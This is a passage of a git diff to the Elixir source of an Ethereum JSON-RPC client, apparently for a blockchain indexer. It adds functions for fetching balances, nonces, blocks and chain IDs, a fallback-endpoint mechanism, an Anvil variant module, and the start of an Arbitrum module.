is_list(json_rpc_named_arguments) do - filtered_params = - if Application.get_env(:ethereum_jsonrpc, :disable_archive_balances?) do - params_list - |> Enum.filter(fn + latest_block_number_params = + case latest_block_number do + 0 -> fetch_block_number_by_tag("latest", json_rpc_named_arguments) + number -> {:ok, number} + end + + params_in_range = + params_list + |> Enum.filter(fn + %{block_quantity: block_quantity} -> + block_quantity |> quantity_to_integer() |> RangesHelper.traceable_block_number?() + end) + + trace_url_used? = !is_nil(json_rpc_named_arguments[:transport_options][:method_to_url][:eth_getBalance]) + archive_disabled? = Application.get_env(:ethereum_jsonrpc, :disable_archive_balances?) + + {latest_balances_params, archive_balance_params} = + with true <- not trace_url_used? or archive_disabled?, + {:ok, max_block_number} <- latest_block_number_params do + window = Application.get_env(:ethereum_jsonrpc, :archive_balances_window) + + Enum.split_with(params_in_range, fn %{block_quantity: "latest"} -> true + %{block_quantity: block_quantity} -> quantity_to_integer(block_quantity) > max_block_number - window _ -> false end) else - params_list + _ -> {params_in_range, []} end - id_to_params = id_to_params(filtered_params) + latest_id_to_params = id_to_params(latest_balances_params) + archive_id_to_params = id_to_params(archive_balance_params) + + with {:ok, latest_responses} <- do_balances_request(latest_id_to_params, chunk_size, json_rpc_named_arguments), + {:ok, archive_responses} <- + maybe_request_archive_balances( + archive_id_to_params, + trace_url_used?, + archive_disabled?, + chunk_size, + json_rpc_named_arguments + ) do + latest_fetched_balances = FetchedBalances.from_responses(latest_responses, latest_id_to_params) + archive_fetched_balances = FetchedBalances.from_responses(archive_responses, archive_id_to_params) + {:ok, FetchedBalances.merge(latest_fetched_balances, archive_fetched_balances)} + end + end - with {:ok, responses} <- - id_to_params - |> FetchedBalances.requests() - |> json_rpc(json_rpc_named_arguments) do - {:ok, FetchedBalances.from_responses(responses, id_to_params)} + @doc """ + Fetches transactions count for every `block_number` + """ + @spec fetch_transactions_count([integer()], json_rpc_named_arguments) :: + {:ok, %{transactions_count_map: %{integer() => integer()}, errors: [{:error, map()}]}} + | {:error, reason :: term()} + def fetch_transactions_count(block_numbers, json_rpc_named_arguments) do + id_to_params = EthereumJSONRPC.id_to_params(block_numbers) + + id_to_params + |> Enum.map(fn {id, number} -> + EthereumJSONRPC.request(%{ + id: id, + method: "eth_getBlockTransactionCountByNumber", + params: [EthereumJSONRPC.integer_to_quantity(number)] + }) + end) + |> EthereumJSONRPC.json_rpc(json_rpc_named_arguments) + |> case do + {:ok, responses} -> + %{errors: errors, counts: counts} = + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.reduce(%{errors: [], counts: %{}}, fn + %{id: id, result: nil}, %{errors: errors} = acc -> + error = {:error, %{code: 404, message: "Not Found", data: Map.fetch!(id_to_params, id)}} + %{acc | errors: [error | errors]} + + %{id: id, result: count}, %{counts: counts} = acc -> + %{acc | counts: Map.put(counts, Map.fetch!(id_to_params, id), EthereumJSONRPC.quantity_to_integer(count))} + + %{id: id, error: error}, %{errors: errors} = acc -> + %{acc | errors: [{:error, Map.put(error, :data, Map.fetch!(id_to_params, id))} | errors]} + end) + + {:ok, %{transactions_count_map: Map.new(counts), errors: errors}} + + error -> + error end end @doc """ - Fetches code for each given `address` at the `block_number`. + Fetches contract code for multiple addresses at specified block numbers. + + This function takes a list of parameters, each containing an address and a + block number, and retrieves the contract code for each address at the + specified block. + + ## Parameters + - `params_list`: A list of maps, each containing: + - `:block_quantity`: The block number (as a quantity string) at which to fetch the code. + - `:address`: The address of the contract to fetch the code for. + - `json_rpc_named_arguments`: A keyword list of JSON-RPC configuration options. + + ## Returns + - `{:ok, fetched_codes}`, where `fetched_codes` is a `FetchedCodes.t()` struct containing: + - `params_list`: A list of successfully fetched code parameters, each containing: + - `address`: The contract address. + - `block_number`: The block number at which the code was fetched. + - `code`: The fetched contract code in hexadecimal format. + - `errors`: A list of errors encountered during the fetch operation. + - `{:error, reason}`: An error occurred during the fetch operation. """ @spec fetch_codes( [%{required(:block_quantity) => quantity, required(:address) => address()}], @@ -224,13 +318,51 @@ defmodule EthereumJSONRPC do end end + @doc """ + Fetches address nonces for multiple addresses at specified block numbers. + + This function takes a list of parameters, each containing an address and a + block number, and retrieves the nonce for each address at the specified + block. + + ## Parameters + - `params_list`: A list of maps, each containing: + - `:block_quantity`: The block number (as a quantity string) at which to fetch the nonce. + - `:address`: The address of the contract to fetch the nonce for. + - `json_rpc_named_arguments`: A keyword list of JSON-RPC configuration options. + + ## Returns + - `{:ok, fetched_nonces}`, where `fetched_nonces` is a `Nonces.t()` struct containing: + - `params_list`: A list of successfully fetched code parameters, each containing: + - `address`: The contract address. + - `block_number`: The block number at which the nonce was fetched. + - `nonce`: The fetched nonce. + - `errors`: A list of errors encountered during the fetch operation. + - `{:error, reason}`: An error occurred during the fetch operation. + """ + @spec fetch_nonces( + [%{required(:block_quantity) => quantity, required(:address) => address()}], + json_rpc_named_arguments + ) :: {:ok, Nonces.t()} | {:error, reason :: term} + def fetch_nonces(params_list, json_rpc_named_arguments) + when is_list(params_list) and is_list(json_rpc_named_arguments) do + id_to_params = id_to_params(params_list) + + with {:ok, responses} <- + id_to_params + |> Nonces.requests() + |> json_rpc(json_rpc_named_arguments) do + {:ok, Nonces.from_responses(responses, id_to_params)} + end + end + @doc """ Fetches block reward contract beneficiaries from variant API. """ @spec fetch_beneficiaries([block_number], json_rpc_named_arguments) :: {:ok, FetchedBeneficiaries.t()} | {:error, reason :: term} | :ignore def fetch_beneficiaries(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do - filtered_block_numbers = block_numbers_in_range(block_numbers) + filtered_block_numbers = RangesHelper.filter_traceable_block_numbers(block_numbers) Keyword.fetch!(json_rpc_named_arguments, :variant).fetch_beneficiaries( filtered_block_numbers, @@ -241,25 +373,70 @@ defmodule EthereumJSONRPC do @doc """ Fetches blocks by block hashes. - Transaction data is included for each block. + Transaction data is included for each block by default. + Set `with_transactions` parameter to false to exclude tx data. """ - @spec fetch_blocks_by_hash([hash()], json_rpc_named_arguments) :: {:ok, Blocks.t()} | {:error, reason :: term} - def fetch_blocks_by_hash(block_hashes, json_rpc_named_arguments) do + @spec fetch_blocks_by_hash([hash()], json_rpc_named_arguments, boolean()) :: + {:ok, Blocks.t()} | {:error, reason :: term} + def fetch_blocks_by_hash(block_hashes, json_rpc_named_arguments, with_transactions? \\ true) do block_hashes |> Enum.map(fn block_hash -> %{hash: block_hash} end) - |> fetch_blocks_by_params(&Block.ByHash.request/1, json_rpc_named_arguments) + |> fetch_blocks_by_params(&Block.ByHash.request(&1, with_transactions?), json_rpc_named_arguments) end @doc """ Fetches blocks by block number range. """ @spec fetch_blocks_by_range(Range.t(), json_rpc_named_arguments) :: {:ok, Blocks.t()} | {:error, reason :: term} - def fetch_blocks_by_range(_first.._last = range, json_rpc_named_arguments) do + def fetch_blocks_by_range(_first.._last//_ = range, json_rpc_named_arguments) do range |> Enum.map(fn number -> %{number: number} end) |> fetch_blocks_by_params(&Block.ByNumber.request/1, json_rpc_named_arguments) end + @doc """ + Fetches blocks by their block numbers. + + Retrieves block data for a list of block numbers, with optional inclusion of + transaction data. + + ## Parameters + - `block_numbers`: List of block numbers to fetch + - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + - `with_transactions?`: Whether to include transaction data in blocks (defaults to true) + + ## Returns + - `{:ok, Blocks.t()}`: Successfully fetched and processed block data + - `{:error, reason}`: Error occurred during fetch or processing + """ + @spec fetch_blocks_by_numbers([block_number()], json_rpc_named_arguments(), boolean()) :: + {:ok, Blocks.t()} | {:error, reason :: term} + def fetch_blocks_by_numbers(block_numbers, json_rpc_named_arguments, with_transactions? \\ true) do + block_numbers + |> Enum.map(fn number -> %{number: number} end) + |> fetch_blocks_by_params(&Block.ByNumber.request(&1, with_transactions?), json_rpc_named_arguments) + end + + @doc """ + Fetches a block from the blockchain using a semantic tag identifier. + + ## Parameters + - `tag`: One of "earliest", "latest", "pending", or "safe" to identify the block + - `json_rpc_named_arguments`: Configuration for the JSON-RPC connection + + ## Returns + - `{:ok, Blocks.t()}` - Successfully retrieved block data + - `{:error, :invalid_tag}` - The provided tag is not recognized + - `{:error, :not_found}` - No block exists for the given tag + - `{:error, term()}` - Other errors that occurred during the request + """ + @spec fetch_block_by_tag(tag(), json_rpc_named_arguments) :: + {:ok, Blocks.t()} | {:error, reason :: :invalid_tag | :not_found | term()} + def fetch_block_by_tag(tag, json_rpc_named_arguments) when tag in ~w(earliest latest pending safe) do + [%{tag: tag}] + |> fetch_blocks_by_params(&Block.ByTag.request/1, json_rpc_named_arguments) + end + @doc """ Fetches uncle blocks by nephew hashes and indices. """ @@ -269,35 +446,47 @@ defmodule EthereumJSONRPC do |> fetch_blocks_by_params(&Block.ByNephew.request/1, json_rpc_named_arguments) end - @spec fetch_net_version(json_rpc_named_arguments) :: {:ok, non_neg_integer()} | {:error, reason :: term} - def fetch_net_version(json_rpc_named_arguments) do + @doc """ + Fetches chain ID from RPC node using `eth_chainId` JSON-RPC request. + + ## Parameters + - `json_rpc_named_arguments`: A keyword list of JSON-RPC configuration options. + + ## Returns + - `{:ok, id}` tuple where `id` is the chain id integer. + - `{:error, reason}` tuple in case of error. + """ + @spec fetch_chain_id(json_rpc_named_arguments) :: {:ok, non_neg_integer()} | {:error, reason :: term} + def fetch_chain_id(json_rpc_named_arguments) do result = - %{id: 0, method: "net_version", params: []} + %{id: 0, method: "eth_chainId", params: []} |> request() |> json_rpc(json_rpc_named_arguments) case result do - {:ok, bin_number} -> {:ok, String.to_integer(bin_number)} + {:ok, id} -> {:ok, quantity_to_integer(id)} other -> other end end @doc """ - Fetches block number by `t:tag/0`. - - ## Returns + Fetches the block number for a block identified by a semantic tag. - * `{:ok, number}` - the block number for the given `tag`. - * `{:error, :invalid_tag}` - When `tag` is not a valid `t:tag/0`. - * `{:error, reason}` - other JSONRPC error. + ## Parameters + - `tag`: One of "earliest", "latest", "pending", or "safe" to identify the block + - `json_rpc_named_arguments`: Configuration for the JSON-RPC connection + ## Returns + - `{:ok, number}` - Successfully retrieved block number + - `{:error, :invalid_tag}` - The provided tag is not recognized + - `{:error, :not_found}` - No block exists for the given tag + - `{:error, term()}` - Other errors that occurred during the request """ @spec fetch_block_number_by_tag(tag(), json_rpc_named_arguments) :: {:ok, non_neg_integer()} | {:error, reason :: :invalid_tag | :not_found | term()} - def fetch_block_number_by_tag(tag, json_rpc_named_arguments) when tag in ~w(earliest latest pending) do - %{id: 0, tag: tag} - |> Block.ByTag.request() - |> json_rpc(json_rpc_named_arguments) + def fetch_block_number_by_tag(tag, json_rpc_named_arguments) when tag in ~w(earliest latest pending safe) do + tag + |> fetch_block_by_tag(json_rpc_named_arguments) |> Block.ByTag.number_from_result() end @@ -315,7 +504,7 @@ defmodule EthereumJSONRPC do Fetches internal transactions for entire blocks from variant API. """ def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do - filtered_block_numbers = block_numbers_in_range(block_numbers) + filtered_block_numbers = RangesHelper.filter_traceable_block_numbers(block_numbers) Keyword.fetch!(json_rpc_named_arguments, :variant).fetch_block_internal_transactions( filtered_block_numbers, @@ -323,15 +512,6 @@ defmodule EthereumJSONRPC do ) end - def block_numbers_in_range(block_numbers) do - min_block = first_block_to_fetch(:trace_first_block) - - block_numbers - |> Enum.filter(fn block_number -> - block_number >= min_block - end) - end - @doc """ Retrieves traces from variant API. """ @@ -342,6 +522,32 @@ defmodule EthereumJSONRPC do ) end + @doc """ + Retrieves Solana transactions that are linked to a given Neon transaction. + + ## Parameters + - `transaction_hash`: The hash of the Neon transaction + - `json_rpc_named_arguments`: Named arguments for JSON RPC call + + ## Returns + - `{:ok, list()}`: List of linked Solana transactions + - `{:error, reason}`: If the request fails + """ + @spec get_linked_solana_transactions( + Explorer.Chain.Hash.t(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, list()} | {:error, reason :: term} + def get_linked_solana_transactions(transaction_hash, json_rpc_named_arguments) do + r = + request(%{ + id: 1, + method: "neon_getSolanaTransactionByNeonTransaction", + params: [to_string(transaction_hash)] + }) + + EthereumJSONRPC.json_rpc(r, json_rpc_named_arguments) + end + @doc """ Fetches pending transactions from variant API. """ @@ -349,6 +555,34 @@ defmodule EthereumJSONRPC do Keyword.fetch!(json_rpc_named_arguments, :variant).fetch_pending_transactions(json_rpc_named_arguments) end + @doc """ + Retrieves raw traces from Ethereum JSON RPC variant API. + """ + def fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) do + Keyword.fetch!(json_rpc_named_arguments, :variant).fetch_transaction_raw_traces( + transaction_params, + json_rpc_named_arguments + ) + end + + @doc """ + Fetches transaction receipts and logs for a list of transactions. + + Makes batch requests to retrieve receipts for multiple transactions and processes + them into a format suitable for database import. + + ## Parameters + - `transactions_params`: List of transaction parameter maps, each containing: + - `gas`: Gas limit for the transaction + - `hash`: Transaction hash + - Additional optional parameters + - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + + ## Returns + - `{:ok, %{logs: list(), receipts: list()}}` - Successfully processed receipts + and logs ready for database import + - `{:error, reason}` - Error occurred during fetch or processing + """ @spec fetch_transaction_receipts( [ %{required(:gas) => non_neg_integer(), required(:hash) => hash, optional(atom) => any} @@ -360,9 +594,28 @@ defmodule EthereumJSONRPC do end @doc """ - Assigns an id to each set of params in `params_list` for batch request-response correlation + Assigns a unique integer ID to each set of parameters in the given list. + + This function is used to prepare parameters for batch request-response + correlation in JSON-RPC calls. + + ## Parameters + - `params_list`: A list of parameter sets, where each set can be of any type. + + ## Returns + A map where the keys are integer IDs (starting from 0) and the values are + the corresponding parameter sets from the input list. + + ## Example + iex> id_to_params([%{block: 1}, %{block: 2}]) + %{0 => %{block: 1}, 1 => %{block: 2}} """ - @spec id_to_params([params]) :: %{id => params} when id: non_neg_integer(), params: map() + @spec id_to_params([]) :: %{} + def id_to_params([]) do + %{} + end + + @spec id_to_params([params]) :: %{id => params} when id: non_neg_integer(), params: any() def id_to_params(params_list) do params_list |> Stream.with_index() @@ -370,14 +623,89 @@ defmodule EthereumJSONRPC do end @doc """ - 1. POSTs JSON `payload` to `url` - 2. Decodes the response - 3. Handles the response + Sanitizes responses by assigning unmatched IDs to responses with missing IDs. - ## Returns + It handles cases where responses have missing (nil) IDs by assigning them + unmatched IDs from the id_to_params map. + + ## Parameters + - `responses`: A list of response maps from a batch JSON-RPC call. + - `elements_with_ids`: A map or a list enumerating elements with request IDs + + ## Returns + A list of sanitized response maps where each response has a valid ID. - * Handled response - * `{:error, reason}` if POST fails + ## Example + iex> responses = [%{id: 1, result: "ok"}, %{id: nil, result: "error"}] + iex> id_to_params = %{1 => %{}, 2 => %{}, 3 => %{}} + iex> EthereumJSONRPC.sanitize_responses(responses, id_to_params) + [%{id: 1, result: "ok"}, %{id: 2, result: "error"}] + + iex> request_ids = [1, 2, 3] + iex> EthereumJSONRPC.sanitize_responses(responses, request_ids) + [%{id: 1, result: "ok"}, %{id: 2, result: "error"}] + """ + @spec sanitize_responses(Transport.batch_response(), %{id => params} | [id]) :: Transport.batch_response() + when id: EthereumJSONRPC.request_id(), params: any() + def sanitize_responses(responses, elements_with_ids) + + def sanitize_responses(responses, id_to_params) when is_map(id_to_params) do + responses + |> Enum.reduce({[], Map.keys(id_to_params) -- Enum.map(responses, & &1.id)}, &sanitize_responses_reduce_fn/2) + |> elem(0) + |> Enum.reverse() + end + + def sanitize_responses(responses, request_ids) when is_list(request_ids) do + responses + |> Enum.reduce({[], request_ids -- Enum.map(responses, & &1.id)}, &sanitize_responses_reduce_fn/2) + |> elem(0) + |> Enum.reverse() + end + + # Processes a single response during sanitization of batch responses. + # + # For responses with nil IDs, assigns the next available ID from the unmatched list + # and logs an error. For responses with valid IDs, simply accumulates them. + # + # ## Parameters + # - `res`: A single response from the batch + # - `{result_res, non_matched}`: Tuple containing accumulated responses and remaining + # unmatched IDs + # + # ## Returns + # - `{result_res, non_matched}`: Updated accumulator tuple with processed response + @spec sanitize_responses_reduce_fn(Transport.response(), {Transport.batch_response(), [EthereumJSONRPC.request_id()]}) :: + {Transport.batch_response(), [EthereumJSONRPC.request_id()]} + defp sanitize_responses_reduce_fn(%{id: nil} = res, {result_res, [id | rest]}) do + Logger.error( + "Empty id in response: #{inspect(res)}, stacktrace: #{inspect(Process.info(self(), :current_stacktrace))}" + ) + + {[%{res | id: id} | result_res], rest} + end + + defp sanitize_responses_reduce_fn(res, {result_res, non_matched}) do + {[res | result_res], non_matched} + end + + @doc """ + Executes a JSON-RPC request with the specified transport and options. + + Handles both single requests and batch requests. Uses the RequestCoordinator to + manage request throttling and retries. If a fallback URL is configured, it may + switch to it when the primary endpoint is unavailable. + + ## Parameters + - `request`: A single request map or list of request maps to execute + - `named_arguments`: Configuration options including: + - `:transport`: The transport module to use (e.g. HTTP, WebSocket) + - `:transport_options`: Options for the transport including URLs + - `:throttle_timeout`: Maximum time to wait for throttled requests + + ## Returns + - `{:ok, result}` on success with the JSON-RPC response + - `{:error, reason}` if the request fails """ @spec json_rpc(Transport.request(), json_rpc_named_arguments) :: {:ok, Transport.result()} | {:error, reason :: term()} @@ -388,13 +716,58 @@ defmodule EthereumJSONRPC do transport_options = Keyword.fetch!(named_arguments, :transport_options) throttle_timeout = Keyword.get(named_arguments, :throttle_timeout, @default_throttle_timeout) - RequestCoordinator.perform(request, transport, transport_options, throttle_timeout) + url = maybe_replace_url(transport_options[:url], transport_options[:fallback_url], transport) + corrected_transport_options = Keyword.replace(transport_options, :url, url) + + case RequestCoordinator.perform(request, transport, corrected_transport_options, throttle_timeout) do + {:ok, result} -> + {:ok, result} + + {:error, reason} -> + maybe_inc_error_count(corrected_transport_options[:url], named_arguments, transport) + {:error, reason} + end + end + + defp do_balances_request(id_to_params, _chunk_size, _args) when id_to_params == %{}, do: {:ok, []} + + defp do_balances_request(id_to_params, chunk_size, json_rpc_named_arguments) do + id_to_params + |> FetchedBalances.requests() + |> chunk_requests(chunk_size) + |> json_rpc(json_rpc_named_arguments) + end + + defp archive_json_rpc_named_arguments(json_rpc_named_arguments) do + CommonHelper.put_in_keyword_nested( + json_rpc_named_arguments, + [:transport_options, :method_to_url, :eth_getBalance], + :trace + ) + end + + defp maybe_request_archive_balances(id_to_params, trace_url_used?, disabled?, chunk_size, json_rpc_named_arguments) do + if not trace_url_used? and not disabled? do + do_balances_request(id_to_params, chunk_size, archive_json_rpc_named_arguments(json_rpc_named_arguments)) + else + {:ok, []} + end end + # Replaces the URL with a fallback URL for non-HTTP transports. + @spec maybe_replace_url(String.t(), String.t(), Transport.t()) :: String.t() + defp maybe_replace_url(url, _replace_url, EthereumJSONRPC.HTTP), do: url + defp maybe_replace_url(url, replace_url, _), do: EndpointAvailabilityObserver.maybe_replace_url(url, replace_url, :ws) + + # Increments error count for non-HTTP transports when endpoint errors occur + @spec maybe_inc_error_count(String.t(), EthereumJSONRPC.json_rpc_named_arguments(), Transport.t()) :: :ok + defp maybe_inc_error_count(_url, _arguments, EthereumJSONRPC.HTTP), do: :ok + defp maybe_inc_error_count(url, arguments, _), do: EndpointAvailabilityObserver.inc_error_count(url, arguments, :ws) + @doc """ Converts `t:quantity/0` to `t:non_neg_integer/0`. """ - @spec quantity_to_integer(quantity) :: non_neg_integer() | :error + @spec quantity_to_integer(quantity) :: non_neg_integer() | nil def quantity_to_integer("0x" <> hexadecimal_digits) do String.to_integer(hexadecimal_digits, 16) end @@ -404,20 +777,53 @@ defmodule EthereumJSONRPC do def quantity_to_integer(string) when is_binary(string) do case Integer.parse(string) do {integer, ""} -> integer - _ -> :error + _ -> nil + end + end + + def quantity_to_integer(_), do: nil + + @doc """ + Sanitizes ID in JSON RPC request following JSON RPC [spec](https://www.jsonrpc.org/specification#request_object:~:text=An%20identifier%20established%20by%20the%20Client%20that%20MUST%20contain%20a%20String%2C%20Number%2C%20or%20NULL%20value%20if%20included.%20If%20it%20is%20not%20included%20it%20is%20assumed%20to%20be%20a%20notification.%20The%20value%20SHOULD%20normally%20not%20be%20Null%20%5B1%5D%20and%20Numbers%20SHOULD%20NOT%20contain%20fractional%20parts%20%5B2%5D). + """ + @spec sanitize_id(quantity) :: non_neg_integer() | String.t() | nil + + def sanitize_id(integer) when is_integer(integer), do: integer + + def sanitize_id(string) when is_binary(string) do + # match ID string and ID string without non-ASCII characters + if string == for(<>, c < 128, into: "", do: <>) do + string + else + nil end end + def sanitize_id(_), do: nil + @doc """ Converts `t:non_neg_integer/0` to `t:quantity/0` """ - @spec integer_to_quantity(non_neg_integer) :: quantity + @spec integer_to_quantity(non_neg_integer | binary) :: quantity def integer_to_quantity(integer) when is_integer(integer) and integer >= 0 do "0x" <> Integer.to_string(integer, 16) end + def integer_to_quantity(integer) when is_binary(integer) do + integer + end + @doc """ - A request payload for a JSONRPC. + Creates a JSON-RPC 2.0 request payload from the provided map. + + ## Parameters + - `map`: A map containing: + - `id`: Request identifier + - `method`: Name of the JSON-RPC method to call + - `params`: List of parameters to pass to the method + + ## Returns + - A JSON-RPC 2.0 compliant request map with the "jsonrpc" field added """ @spec request(%{id: request_id, method: String.t(), params: list()}) :: Transport.request() def request(%{method: method, params: params} = map) @@ -464,7 +870,6 @@ defmodule EthereumJSONRPC do end # We can only depend on implementations supporting 64-bit integers: - # * Parity only supports u64 (https://github.com/paritytech/jsonrpc-core/blob/f2c61edb817e344d92ab3baf872fa77d1602430a/src/id.rs#L13) # * Ganache only supports u32 (https://github.com/trufflesuite/ganache-core/issues/190) def unique_request_id do <> = :crypto.strong_rand_bytes(4) @@ -476,7 +881,7 @@ defmodule EthereumJSONRPC do """ def timestamp_to_datetime(timestamp) do case quantity_to_integer(timestamp) do - :error -> + nil -> nil quantity -> @@ -484,6 +889,22 @@ defmodule EthereumJSONRPC do end end + # Fetches block data using the provided parameters and request function. + # + # Assigns unique IDs to each parameter set, generates JSON-RPC requests using the + # provided request function, executes them, and processes the responses into a + # structured format. + # + # ## Parameters + # - `params`: List of parameter maps for block requests + # - `request`: Function that takes a parameter map and returns a JSON-RPC request + # - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + # + # ## Returns + # - `{:ok, Blocks.t()}`: Successfully fetched and processed block data + # - `{:error, reason}`: Error occurred during fetch or processing + @spec fetch_blocks_by_params([map()], function(), json_rpc_named_arguments()) :: + {:ok, Blocks.t()} | {:error, reason :: term()} defp fetch_blocks_by_params(params, request, json_rpc_named_arguments) when is_list(params) and is_function(request, 1) do id_to_params = id_to_params(params) @@ -496,12 +917,46 @@ defmodule EthereumJSONRPC do end end - def first_block_to_fetch(config) do - string_value = Application.get_env(:indexer, config) + defp chunk_requests(requests, nil), do: requests + defp chunk_requests(requests, chunk_size), do: Enum.chunk_every(requests, chunk_size) - case Integer.parse(string_value) do - {integer, ""} -> integer - _ -> 0 + def put_if_present(result, transaction, keys) do + Enum.reduce(keys, result, fn key, acc -> + key_list = key |> Tuple.to_list() + from_key = Enum.at(key_list, 0) + to_key = Enum.at(key_list, 1) + opts = if Enum.count(key_list) > 2, do: Enum.at(key_list, 2), else: %{} + + value = transaction[from_key] || opts[:default] + + validate_key(acc, to_key, value, opts) + end) + end + + defp validate_key(acc, _to_key, nil, _opts), do: acc + + defp validate_key(acc, to_key, value, %{:validation => validation}) do + case validation do + :address_hash -> + if address_correct?(value), do: Map.put(acc, to_key, value), else: acc + + _ -> + Map.put(acc, to_key, value) end end + + defp validate_key(acc, to_key, value, _validation) do + Map.put(acc, to_key, value) + end + + # todo: The similar function exists in Indexer application: + # Here is the room for future refactoring to keep a single function. + @spec address_correct?(binary()) :: boolean() + defp address_correct?(address) when is_binary(address) do + String.match?(address, ~r/^0x[[:xdigit:]]{40}$/i) + end + + defp address_correct?(_address) do + false + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/anvil.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/anvil.ex new file mode 100644 index 000000000000..55fc748ab659 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/anvil.ex @@ -0,0 +1,55 @@ +defmodule EthereumJSONRPC.Anvil do + @moduledoc """ + Ethereum JSONRPC methods that are only supported by [Anvil](https://book.getfoundry.sh/anvil/). + """ + + @behaviour EthereumJSONRPC.Variant + + @doc """ + Block reward contract beneficiary fetching is not supported currently for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_beneficiaries(_block_range, _json_rpc_named_arguments), do: :ignore + + @doc """ + Internal transaction fetching is not currently supported for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore + + @doc """ + Internal transaction fetching is not currently supported for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_block_internal_transactions(_block_range, _json_rpc_named_arguments), do: :ignore + + @doc """ + Pending transaction fetching is not supported currently for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_pending_transactions(_json_rpc_named_arguments), do: :ignore + + @doc """ + Traces are not supported currently for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore + + @doc """ + Traces are not supported currently for Anvil. + + To signal to the caller that fetching is not supported, `:ignore` is returned. + """ + @impl EthereumJSONRPC.Variant + def fetch_transaction_raw_traces(_transaction_params, _json_rpc_named_arguments), do: :ignore +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/application.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/application.ex index 6c9915f1cd34..a03f80e27603 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/application.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/application.ex @@ -6,6 +6,7 @@ defmodule EthereumJSONRPC.Application do use Application alias EthereumJSONRPC.{IPC, RequestCoordinator, RollingWindow} + alias EthereumJSONRPC.Utility.{EndpointAvailabilityChecker, EndpointAvailabilityObserver} @impl Application def start(_type, _args) do @@ -13,13 +14,19 @@ defmodule EthereumJSONRPC.Application do rolling_window_opts = Keyword.fetch!(config, :rolling_window_opts) - [ - :hackney_pool.child_spec(:ethereum_jsonrpc, recv_timeout: 60_000, timeout: 60_000, max_connections: 1000), - Supervisor.child_spec({RollingWindow, [rolling_window_opts]}, id: RollingWindow.ErrorThrottle) - ] - |> add_throttle_rolling_window(config) - |> add_ipc_client() - |> Supervisor.start_link(strategy: :one_for_one, name: EthereumJSONRPC.Supervisor) + if Application.get_env(:nft_media_handler, :standalone_media_worker?) do + Supervisor.start_link([], strategy: :one_for_one, name: EthereumJSONRPC.Supervisor) + else + [ + :hackney_pool.child_spec(:ethereum_jsonrpc, recv_timeout: 60_000, timeout: 60_000, max_connections: 1000), + Supervisor.child_spec({RollingWindow, [rolling_window_opts]}, id: RollingWindow.ErrorThrottle), + {EndpointAvailabilityObserver, []}, + {EndpointAvailabilityChecker, []} + ] + |> add_throttle_rolling_window(config) + |> add_ipc_client() + |> Supervisor.start_link(strategy: :one_for_one, name: EthereumJSONRPC.Supervisor) + end end defp add_throttle_rolling_window(children, config) do diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum.ex index f18b247a579d..303c746b802c 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/arbitrum.ex @@ -1,47 +1,391 @@ defmodule EthereumJSONRPC.Arbitrum do @moduledoc """ - Ethereum JSONRPC methods that are only supported by [Arbitrum L2]https://github.com/OffchainLabs/arbitrum). + Arbitrum specific routines used to fetch and process + data from the associated JSONRPC endpoint """ - @behaviour EthereumJSONRPC.Variant + import EthereumJSONRPC + + alias EthereumJSONRPC.Arbitrum.Constants.Contracts, as: ArbitrumContracts + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + require Logger + alias ABI.TypeDecoder + + @typedoc """ + This type describes significant fields which can be extracted from + the L2ToL1Tx event emitted by ArbSys contract + + * `"message_id"` - The message identifier + * `"caller"` - `t:EthereumJSONRPC.address/0` of the message initiator + * `"destination"` - `t:EthereumJSONRPC.address/0` to which the message should be sent after the claiming + * `"arb_block_number"` - Rollup block number in which the message was initiated + * `"eth_block_number"` - An associated parent chain block number + * `"timestamp"` - When the message was initiated + * `"callvalue"` - Amount of ETH which should be transferred to the `destination` address on message execution + * `"data"` - Raw calldata which should be set for the execution transaction (usually contains bridge interaction calldata) + """ + @type l2_to_l1_event :: %{ + :message_id => non_neg_integer(), + :caller => EthereumJSONRPC.address(), + :destination => EthereumJSONRPC.address(), + :arb_block_number => non_neg_integer(), + :eth_block_number => non_neg_integer(), + :timestamp => non_neg_integer(), + :callvalue => non_neg_integer(), + :data => binary() + } + + @doc """ + Retrieves specific contract addresses associated with Arbitrum rollup contract. + + This function fetches the addresses of the bridge, sequencer inbox, and outbox + contracts related to the specified Arbitrum rollup address. It invokes one of + the contract methods `bridge()`, `sequencerInbox()`, or `outbox()` based on + the `contracts_set` parameter to obtain the required information. + + ## Parameters + - `rollup_address`: The address of the Arbitrum rollup contract from which + information is being retrieved. + - `contracts_set`: A symbol indicating the set of contracts to retrieve (`:bridge` + for the bridge contract, `:inbox_outbox` for the sequencer + inbox and outbox contracts). + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A map with keys corresponding to the contract types (`:bridge`, 